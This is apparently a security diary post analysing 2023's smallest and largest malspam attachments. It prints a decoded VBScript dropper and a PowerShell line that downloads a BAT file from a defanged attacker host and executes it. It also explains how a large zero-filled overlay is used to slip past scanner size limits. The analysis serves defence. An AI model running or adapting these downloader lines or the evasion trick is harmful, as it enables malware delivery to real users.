Interesting large and small malspam attachments from 2023

Published: 2024-01-03
Last Updated: 2024-01-03 13:17:51 UTC
by Jan Kopriva (Version: 1)
0 comment(s)

At the end of a year, or at the beginning of a new one, I like to go over all malicious attachments that were caught in my e-mail trap over the last 12 months, since this can provide a good overview of long-term malspam trends and may sometimes lead to other interesting discoveries. Over the years, I found that, at a minimum, it is usually instructive to look at what the largest and the smallest pieces of malware that one managed to catch were[1]. This held true even for 2023, as both the smallest and the largest sample I had turned out to be interesting in their own right. But let’s start at the beginning…

Over the last 12 months, 1152 potentially malicious attachments of various types were caught by my malspam trap. When I decompressed and/or unpacked all the images and archives, removed all duplicates and eliminated all the non-malicious files, I was left with 525 unique malicious samples – 285 of these were PE files with various extensions, and the rest were a wide assortment of scripts, Office files, PDFs, help files, shortcut links, etc.

The smallest malicious file among all of these was a VBE (an encoded VBScript file[2]), which was quite surprising, since these are not too common in the wild – in fact, among all the “2023 malspam files”, there were only 2 VBEs (compared to 43 “traditional” VBS files).

In any case, the smallest file, which was 1.32 kB in size, was named “μεταβ?βαση.vbe” - it had a SHA-1 hash 3fc13ec425b0255c737b3b88005e5cb5f9366c52, and at the time of writing had 21/60 VT score[3],.

After decoding the file using John Hammond’s modification of Didier’s script[4,5], and renaming the two initially defined variables, the VBScript – although it was still obfuscated – turned out to be quite readable…

Dim var1 , var2 :
SEt var1 = CReAteObject ( ChrW(&H77) & "ScRipT.SHeLL" ) :
var1.rUn chR ( 34 ) & var1.expaNDENVIrOnmenTStRINgS( Chr(&H25) & ChrW(&H43) & ChrW(&H6F) & ChrW(&H6D) & Chr(&H73) & Chr(&H70) & Chr(&H45) & Chr(&H63) & Chr(&H25) ) & CHR ( 34 ) & cHR ( 34 ) & ChrW(&H2F) & ChrW(&H63) & Chr(&H20) & var2 & cHr ( 34 ) , 0 :
sEt var1 = nOthiNg

We can clearly see that the VBScript tries to execute a Base64-encoded PowerShell command. If we decode it, it becomes obvious that the entire VBE file is a very simple downloader for a malicious BAT file [6].

InVokE-weBreQuESt -uri ("hxxp[:]//purecry[.]ydns[.]eu/pure/" + "Xxq" + "yinqn.b" + "a" + "t" ) -ouTfILe "$eNV:TEMp\Xxqyinqn.bat" ; & "$enV:tEmp\Xxqyinqn.bat"

As we may see, the smallest file in the “malspam set” was of a slightly unusual type and was reasonably small.

On the other side of the size spectrum was a very large .NET EXE, which was approximately 350 MB in size (358508 kB). SHA-1 hash of this file was 6eefbfd8b2c547fc959fcee4c38105cb997dd00d and at the time of writing, it had 29/62 VT score[7].

The impressive size of the file was due to a very large overlay (i.e., significant number of bytes appended to the PE structure) with very small entropy.

This technique of using large, low-entropy overlays is quite common[8], since it allows threat actors to increase the size of an executable to the point where it won’t be scanned by most anti-malware solutions (due to size limits set for file scans in these solutions), yet at the same time, it still allows for packing the executable into a very small archive (given the minimal entropy of the overlay).

The overlays are customarily made up of null bytes, however in this case, the authors of the file decided to go with literal “zeroes” (0x30 bytes), which made up most of the file. Without its overlay, the EXE would be only about 108 kB in size.

With such a small size of the actual payload, it probably won’t come as a surprise that the file wasn’t functionally too complex. In fact, in the following two images you may see practically the entire code of the program.

Although it is obfuscated, its function is quite understandable – it is a downloader for a file located at the URL hxxp[:]//justnormalsite[.]ddns[.]net/SystemEnv/uploads/nodeffender_Nrtsynmz.png.

As we may see, although there was almost 350 MB size difference between the smallest and largest malicious file which my malspam trap caught last year, both were functionally very similar. This is of course not too surprising given that (down)loaders are the first stage of most malware infection chains out there, and as such, are delivered most commonly by malicious e-mail messages.

Nevertheless, even though they are functionally similar, the difference in size, languages and obfuscation techniques between these two samples goes to show the variety of malspam that one might have come across in 2023… And that we will undoubtedly (and unfortunately) be able to come across in 2024.


Jan Kopriva
Nettles Consulting

0 comment(s)


Diary Archives